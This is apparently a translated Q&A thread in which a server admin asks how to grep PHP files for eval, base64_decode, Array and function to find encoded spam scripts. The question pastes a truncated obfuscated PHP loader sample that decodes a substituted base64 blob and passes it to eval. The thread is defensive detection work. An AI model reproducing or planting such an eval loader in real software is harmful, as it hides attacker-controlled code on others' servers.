【发布时间】:2016-02-21 14:11:00
【问题描述】:
我需要在 linux 服务器上找到具有完全相同的 4 种模式的 php 脚本。
文件需要有 4 个模式/单词,而不仅仅是一两个...
模式:
- 评估
- base64_decode
- 数组
- 功能
我需要这个来查找编码的垃圾邮件脚本。
我已经尝试过使用 find 但我不知道如何匹配确切的 4 个模式
像这样:
<?php
function isanrl($nhfxslsmo, $rrkiu){$m = ''; for($i=0; $i < strlen($nhfxslsmo); $i++){$m .= isset($rrkiu[$nhfxslsmo[$i]]) ? $rrkiu[$nhfxslsmo[$i]] : $nhfxslsmo[$i];}
$dbklusmzx="base64_decode";return $dbklusmzx($m);}
$mpvqrt = 'XLgWYavbkPXhdna5ruv5PnoVk5rNSZea4Z1FK1FIYpeFPqBgx8f76Lv7Pna5ruv5r5rNSsIFK1F'.
'IYpeFPqBgx8f76pi9Pna9kpB2xLgV6gv3Yp2gd51fm8DG8DzbkPRJxLg0kavNYp2Fx8f1C'.
'4NC8uguCLgbrna3C8RJU3awaDawCwDCT1hddiv4RadpRad6d2zSUiv4RUoLd23fHwIMA5SGSIhddiv4R'.
'C8wR5kPB6S7SMPaNMjMdxSs3fdLdEksNC8PdgxQa56MzMjPBgBcRJkpec6nRgCQBgrugE6LgtkwfDruabCwDG873'.
'=';
$qqkghzt = Array('1'=>'w', '0'=>'t', '3'=>'0', '2'=>'1', '5'=>'y', '4'=>'T', '7'=>'n', '6'=>'b', '9'=>'4', '8'=>'C', 'A'=>'L', 'C'=>'K', 'B'=>'N', 'E'=>'h', 'D'=>'k$
eval(isanrl($mpvqrt, $qqkghzt));?>
【问题讨论】:
-
转到代码库根目录并尝试
grep 'eval' -r . | grep 'base64_decode' | grep 'Array' | grep 'function'。我认为这将列出您的所有 4 个文件。
标签: php linux grep centos find